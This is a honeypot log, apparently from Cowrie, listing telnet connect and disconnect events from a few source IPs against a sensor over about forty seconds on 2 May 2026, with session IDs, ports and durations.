{"eventid":"cowrie.session.closed","duration":31.164446592330933,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:11.687741Z","src_ip":"162.219.178.250","session":"ee95429867ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57962,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1fd84e60f0a","protocol":"telnet","message":"New connection: 162.219.178.250:57962 (10.17.0.5:23) [session: d1fd84e60f0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:13.532251Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40368,"dst_ip":"10.17.0.5","dst_port":23,"session":"a34e8a6d4e22","protocol":"telnet","message":"New connection: 188.208.141.113:40368 (10.17.0.5:23) [session: a34e8a6d4e22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:13.626946Z"}
{"eventid":"cowrie.session.closed","duration":41.73491096496582,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:13.708072Z","src_ip":"188.208.141.113","session":"09149b98f7be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34520,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf399d57e6b7","protocol":"telnet","message":"New connection: 162.219.178.250:34520 (10.17.0.5:23) [session: cf399d57e6b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:14.389334Z"}
{"eventid":"cowrie.session.closed","duration":30.90591049194336,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:15.140255Z","src_ip":"207.244.241.37","session":"f019eb1a14cb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17186427116394,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:15.369484Z","src_ip":"162.219.178.250","session":"ce3bc3150443","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46056,"dst_ip":"10.17.0.5","dst_port":23,"session":"779b12ff747c","protocol":"telnet","message":"New connection: 162.219.178.250:46056 (10.17.0.5:23) [session: 779b12ff747c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:15.885788Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37026,"dst_ip":"10.17.0.5","dst_port":23,"session":"8493983954a0","protocol":"telnet","message":"New connection: 162.219.178.250:37026 (10.17.0.5:23) [session: 8493983954a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:17.425158Z"}
{"eventid":"cowrie.session.closed","duration":30.137200593948364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:17.545707Z","src_ip":"162.219.178.250","session":"64061e184682","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":45874,"dst_ip":"159.203.135.109","dst_port":23,"session":"d9d5592ef64e","protocol":"telnet","message":"New connection: 207.244.241.37:45874 (159.203.135.109:23) [session: d9d5592ef64e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:17.680873Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57386,"dst_ip":"10.17.0.5","dst_port":23,"session":"30ce34bc8b8c","protocol":"telnet","message":"New connection: 162.219.178.250:57386 (10.17.0.5:23) [session: 30ce34bc8b8c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:17.732901Z"}
{"eventid":"cowrie.session.closed","duration":0.005662202835083008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:17.738383Z","src_ip":"162.219.178.250","session":"30ce34bc8b8c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":36236,"dst_ip":"10.17.0.5","dst_port":23,"session":"901a34195fdd","protocol":"telnet","message":"New connection: 162.219.178.250:36236 (10.17.0.5:23) [session: 901a34195fdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:18.795511Z"}
{"eventid":"cowrie.session.closed","duration":31.143449544906616,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:19.071711Z","src_ip":"162.219.178.250","session":"cf01a0a7ce25","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":40378,"dst_ip":"10.17.0.5","dst_port":23,"session":"bce95fc8798a","protocol":"telnet","message":"New connection: 188.208.141.113:40378 (10.17.0.5:23) [session: bce95fc8798a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:20.012326Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40076,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cde1b3e6065","protocol":"telnet","message":"New connection: 162.219.178.250:40076 (10.17.0.5:23) [session: 1cde1b3e6065]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:20.814602Z"}
{"eventid":"cowrie.session.closed","duration":41.06731152534485,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:22.552041Z","src_ip":"162.219.178.250","session":"5f4da6aa6b13","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32906985282898,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:22.916384Z","src_ip":"162.219.178.250","session":"b4d93625e4b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45578,"dst_ip":"10.17.0.5","dst_port":23,"session":"fecb694bde3f","protocol":"telnet","message":"New connection: 162.219.178.250:45578 (10.17.0.5:23) [session: fecb694bde3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:23.262032Z"}
{"eventid":"cowrie.session.closed","duration":31.528558015823364,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:25.415819Z","src_ip":"162.219.178.250","session":"44088d285964","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":47950,"dst_ip":"10.17.0.5","dst_port":23,"session":"e2ec96f690aa","protocol":"telnet","message":"New connection: 162.219.178.250:47950 (10.17.0.5:23) [session: e2ec96f690aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:26.287790Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42120,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e6bd5576416","protocol":"telnet","message":"New connection: 188.208.141.113:42120 (10.17.0.5:23) [session: 3e6bd5576416]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:26.807139Z"}
{"eventid":"cowrie.session.closed","duration":30.590275526046753,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:26.913373Z","src_ip":"162.219.178.250","session":"bce50dc74fb2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44216823577881,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:27.732242Z","src_ip":"162.219.178.250","session":"74ecfe39c6db","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.86463475227356,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:28.317393Z","src_ip":"162.219.178.250","session":"03eaf8241560","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":34612,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bc1e7b981fc","protocol":"telnet","message":"New connection: 207.244.241.37:34612 (159.203.135.109:23) [session: 2bc1e7b981fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:28.862062Z"}
{"eventid":"cowrie.session.closed","duration":35.84838557243347,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:29.762099Z","src_ip":"188.208.141.113","session":"e228497b78bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":53220,"dst_ip":"10.17.0.5","dst_port":23,"session":"41881fc82b5c","protocol":"telnet","message":"New connection: 162.219.178.250:53220 (10.17.0.5:23) [session: 41881fc82b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:29.939449Z"}
{"eventid":"cowrie.session.closed","duration":31.166297912597656,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:31.992002Z","src_ip":"162.219.178.250","session":"5f80347d6446","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54962,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e84e3ccb7cc","protocol":"telnet","message":"New connection: 188.208.141.113:54962 (10.17.0.5:23) [session: 7e84e3ccb7cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:33.288053Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57088,"dst_ip":"10.17.0.5","dst_port":23,"session":"5597c2c22706","protocol":"telnet","message":"New connection: 162.219.178.250:57088 (10.17.0.5:23) [session: 5597c2c22706]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:33.382086Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57084,"dst_ip":"10.17.0.5","dst_port":23,"session":"a067951b62d2","protocol":"telnet","message":"New connection: 162.219.178.250:57084 (10.17.0.5:23) [session: a067951b62d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:33.385854Z"}
{"eventid":"cowrie.session.closed","duration":36.50967335700989,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:33.529664Z","src_ip":"188.208.141.113","session":"c7b13673ab46","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.82423686981201,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:33.663009Z","src_ip":"162.219.178.250","session":"a7e104d0340d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.750813722610474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:34.245968Z","src_ip":"207.244.241.37","session":"3d608fc81ec9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.98797655105591,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:34.297683Z","src_ip":"162.219.178.250","session":"70d8459047ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":57232,"dst_ip":"10.17.0.5","dst_port":23,"session":"afab033726cb","protocol":"telnet","message":"New connection: 162.219.178.250:57232 (10.17.0.5:23) [session: afab033726cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:34.516016Z"}
{"eventid":"cowrie.session.closed","duration":30.425583362579346,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:34.852117Z","src_ip":"162.219.178.250","session":"3093b5bea8c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":58990,"dst_ip":"10.17.0.5","dst_port":23,"session":"509874fff036","protocol":"telnet","message":"New connection: 162.219.178.250:58990 (10.17.0.5:23) [session: 509874fff036]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:35.070349Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":48310,"dst_ip":"10.17.0.5","dst_port":23,"session":"c0fb9c05aae5","protocol":"telnet","message":"New connection: 206.189.32.23:48310 (10.17.0.5:23) [session: c0fb9c05aae5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:35.135600Z"}
{"eventid":"cowrie.session.closed","duration":0.00543975830078125,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:35.140898Z","src_ip":"206.189.32.23","session":"c0fb9c05aae5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.22416830062866,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:35.949858Z","src_ip":"188.208.141.113","session":"64eb1f87f3fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.49286961555481,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:36.019160Z","src_ip":"162.219.178.250","session":"ea433da3c527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":46988,"dst_ip":"159.203.135.109","dst_port":23,"session":"251071a635d9","protocol":"telnet","message":"New connection: 207.244.241.37:46988 (159.203.135.109:23) [session: 251071a635d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:36.406818Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":32858,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d95bbf3a5a","protocol":"telnet","message":"New connection: 162.219.178.250:32858 (10.17.0.5:23) [session: f8d95bbf3a5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:36.927710Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":60098,"dst_ip":"10.17.0.5","dst_port":23,"session":"9205d4c2e9a0","protocol":"telnet","message":"New connection: 162.219.178.250:60098 (10.17.0.5:23) [session: 9205d4c2e9a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:38.060736Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":34890,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2f9003756bd","protocol":"telnet","message":"New connection: 162.219.178.250:34890 (10.17.0.5:23) [session: d2f9003756bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:38.723960Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":54978,"dst_ip":"10.17.0.5","dst_port":23,"session":"d285d73bb62c","protocol":"telnet","message":"New connection: 188.208.141.113:54978 (10.17.0.5:23) [session: d285d73bb62c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:39.902510Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":38622,"dst_ip":"10.17.0.5","dst_port":23,"session":"cda5e802c2bd","protocol":"telnet","message":"New connection: 162.219.178.250:38622 (10.17.0.5:23) [session: cda5e802c2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:41.916990Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33968,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7ef9b9a2346","protocol":"telnet","message":"New connection: 162.219.178.250:33968 (10.17.0.5:23) [session: c7ef9b9a2346]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:41.999370Z"}
{"eventid":"cowrie.session.closed","duration":36.881584882736206,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:42.648008Z","src_ip":"188.208.141.113","session":"30fabbf9e4f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40116,"dst_ip":"10.17.0.5","dst_port":23,"session":"af876f835358","protocol":"telnet","message":"New connection: 162.219.178.250:40116 (10.17.0.5:23) [session: af876f835358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:43.137574Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40314,"dst_ip":"10.17.0.5","dst_port":23,"session":"692b805f5bb3","protocol":"telnet","message":"New connection: 162.219.178.250:40314 (10.17.0.5:23) [session: 692b805f5bb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:43.283487Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60152,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f1a523fe4ba","protocol":"telnet","message":"New connection: 188.208.141.113:60152 (10.17.0.5:23) [session: 5f1a523fe4ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:43.369836Z"}
{"eventid":"cowrie.session.closed","duration":53.57602906227112,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:44.094067Z","src_ip":"162.219.178.250","session":"d58ca2b63250","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60156,"dst_ip":"10.17.0.5","dst_port":23,"session":"aac584f6ed8f","protocol":"telnet","message":"New connection: 188.208.141.113:60156 (10.17.0.5:23) [session: aac584f6ed8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:44.609931Z"}
{"eventid":"cowrie.session.closed","duration":30.22516632080078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:44.614318Z","src_ip":"162.219.178.250","session":"cf399d57e6b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.241.37","src_port":60262,"dst_ip":"159.203.135.109","dst_port":23,"session":"79ba81d0a341","protocol":"telnet","message":"New connection: 207.244.241.37:60262 (159.203.135.109:23) [session: 79ba81d0a341]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:44.618835Z"}
{"eventid":"cowrie.session.closed","duration":31.257454872131348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:44.789563Z","src_ip":"162.219.178.250","session":"d1fd84e60f0a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42218,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c0e61e57732","protocol":"telnet","message":"New connection: 162.219.178.250:42218 (10.17.0.5:23) [session: 2c0e61e57732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:44.924232Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":33428,"dst_ip":"10.17.0.5","dst_port":23,"session":"a003377ca800","protocol":"telnet","message":"New connection: 162.219.178.250:33428 (10.17.0.5:23) [session: a003377ca800]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:45.583293Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":42964,"dst_ip":"10.17.0.5","dst_port":23,"session":"7710b404444b","protocol":"telnet","message":"New connection: 162.219.178.250:42964 (10.17.0.5:23) [session: 7710b404444b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:45.661638Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":40080,"dst_ip":"10.17.0.5","dst_port":23,"session":"4ae4cd63bcac","protocol":"telnet","message":"New connection: 162.219.178.250:40080 (10.17.0.5:23) [session: 4ae4cd63bcac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:46.095872Z"}
{"eventid":"cowrie.session.closed","duration":31.39321255683899,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:47.278869Z","src_ip":"162.219.178.250","session":"779b12ff747c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.19460678100586,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:47.619666Z","src_ip":"162.219.178.250","session":"8493983954a0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":37458,"dst_ip":"10.17.0.5","dst_port":23,"session":"410eea3bafdc","protocol":"telnet","message":"New connection: 162.219.178.250:37458 (10.17.0.5:23) [session: 410eea3bafdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:48.001575Z"}
{"eventid":"cowrie.session.closed","duration":0.005344867706298828,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:48.006777Z","src_ip":"162.219.178.250","session":"410eea3bafdc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.44525718688965,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:48.125993Z","src_ip":"207.244.241.37","session":"d9d5592ef64e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":46854,"dst_ip":"10.17.0.5","dst_port":23,"session":"172022d3500c","protocol":"telnet","message":"New connection: 162.219.178.250:46854 (10.17.0.5:23) [session: 172022d3500c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:49.878544Z"}
{"eventid":"cowrie.session.closed","duration":62.96745777130127,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:50.853537Z","src_ip":"162.219.178.250","session":"46a56f5e29c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45642,"dst_ip":"10.17.0.5","dst_port":23,"session":"d02e66347ade","protocol":"telnet","message":"New connection: 162.219.178.250:45642 (10.17.0.5:23) [session: d02e66347ade]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:50.896808Z"}
{"eventid":"cowrie.session.closed","duration":52.43211817741394,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:51.292593Z","src_ip":"162.219.178.250","session":"8d1b44c383b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":48736,"dst_ip":"10.17.0.5","dst_port":23,"session":"300b486e44de","protocol":"telnet","message":"New connection: 162.219.178.250:48736 (10.17.0.5:23) [session: 300b486e44de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:51.500696Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50022,"dst_ip":"10.17.0.5","dst_port":23,"session":"c6b8b7c8b98a","protocol":"telnet","message":"New connection: 162.219.178.250:50022 (10.17.0.5:23) [session: c6b8b7c8b98a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:51.607292Z"}
{"eventid":"cowrie.session.closed","duration":30.874731063842773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:51.689192Z","src_ip":"162.219.178.250","session":"1cde1b3e6065","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":45328,"dst_ip":"10.17.0.5","dst_port":23,"session":"e20830fc4021","protocol":"telnet","message":"New connection: 162.219.178.250:45328 (10.17.0.5:23) [session: e20830fc4021]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:51.726516Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":50264,"dst_ip":"10.17.0.5","dst_port":23,"session":"32e35b738235","protocol":"telnet","message":"New connection: 162.219.178.250:50264 (10.17.0.5:23) [session: 32e35b738235]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:51.805954Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":56458,"dst_ip":"10.17.0.5","dst_port":23,"session":"4e7965247cc7","protocol":"telnet","message":"New connection: 188.208.141.113:56458 (10.17.0.5:23) [session: 4e7965247cc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:52.724968Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.219.178.250","src_port":44414,"dst_ip":"10.17.0.5","dst_port":23,"session":"820f5d1038f4","protocol":"telnet","message":"New connection: 162.219.178.250:44414 (10.17.0.5:23) [session: 820f5d1038f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:34:52.879120Z"}
